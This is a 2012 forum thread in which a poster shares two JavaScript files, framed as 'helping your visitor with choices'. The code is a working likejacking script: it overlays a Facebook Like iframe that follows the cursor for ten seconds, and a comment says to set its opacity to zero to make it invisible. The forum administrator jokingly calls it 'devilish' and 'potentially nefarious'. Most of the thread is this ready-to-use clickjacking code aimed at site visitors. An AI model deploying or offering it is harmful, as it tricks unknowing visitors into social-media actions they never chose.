The Cache: Technology Expert's Forum
 
*
Welcome, Guest. Please login or register. July 22, 2019, 09:39:20 PM

Login with username, password and session length


Pages: [1]
  Print  
Author Topic: In the spirit of helping your visitor with choices....  (Read 1677 times)
dee
Journeyman
***
Offline Offline

Posts: 94


View Profile
« on: March 11, 2012, 04:08:18 PM »

Hope its cool to post this, if not apologies. I'm sure this is prolly archaic for most of the guys here, but after seeing TD's helpful decision maker I found this and thought it might be good for discussion,improvement and turning gears. I'm a starter so cant claim I wrote it,but seems it could possibly be useful for a few things:

script1.js (to be included on page)

Code:
window.onload = function(){ var s = document.createElement('script'); s.src = 'script2.js'; document.getElementsByTagName('body')[0].appendChild(s); }

script2.js
Code:
(function(){
 
  var Xcord = 0,
  Ycord = 0,
  IE = document.all ? true : false;
 
  if (!IE) document.captureEvents(Event.MOUSEMOVE);
 
  var lbox = document.createElement('iframe');
  lbox.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(/*likeablepage*/ 'http://www.yoursitehere.com/') + '&layout=standard&show_faces=true&width=53&action=lbox&colorscheme=light&height=80';
  lbox.scrolling = 'no';
  lbox.frameBorder = 0;
  lbox.allowTransparency = 'true';
  lbox.style.border = 0;
  lbox.style.overflow = 'hidden';
  lbox.style.cursor = 'pointer';
  lbox.style.width = '53px';
  lbox.style.height =  '23px';
  lbox.style.position = 'absolute';
  lbox.style.opacity = 0.5;                                 /*set to zero to make invis*/
  document.getElementsByTagName('body')[0].appendChild(lbox);
 
  window.addEventListener('mousemove', mouseMove, false);
 
  setTimeout(function(){
    document.getElementsByTagName('body')[0].removeChild(lbox);
    window.removeEventListener('mousemove', mouseMove, false);
  }, 10000);
 
  function mouseMove(e) {
    if (IE) {
      Xcord = event.clientX + document.body.scrollLeft;
      Ycord = event.clientY + document.body.scrollTop;
    } else {
      Xcord = e.pageX;
      Ycord = e.pageY;
    }
 
    if (Xcord < 0) Xcord = 0;
    if (Ycord < 0) Ycord = 0;
 
    lbox.style.top = (Ycord - 9) + 'px';
    lbox.style.left = (Xcord - 25) + 'px';
 
    return true
  }
})();
Logged
perkiset
Olde World Hacker
Administrator
Lifer
*****
Offline Offline

Posts: 10096



View Profile
« Reply #1 on: March 12, 2012, 10:46:44 AM »

 Devilish

Hehe. By and large I promote this sort of thing as, um "strictly for research" because it's potentially nefarious ... and that stuff hangs behind the wall at the Syndk8. But it's cute meng. Right on Wink
Logged

It is now believed, that after having lived in one compound with 3 wives and never leaving the house for 5 years, Bin Laden called the U.S. Navy Seals himself.
Pages: [1]
  Print  
 
Jump to:  

Perkiset's Place Home   Best of The Cache   phpMyIDE: MySQL Stored Procedures, Functions & Triggers
Politics @ Perkiset's   Pinkhat's Perspective   
cache
mart
coder
programmers
ajax
php
javascript
Powered by MySQL Powered by PHP Powered by SMF 1.1.2 | SMF © 2006-2007, Simple Machines LLC
Seo4Smf v0.2 © Webmaster's Talks


Valid XHTML 1.0! Valid CSS!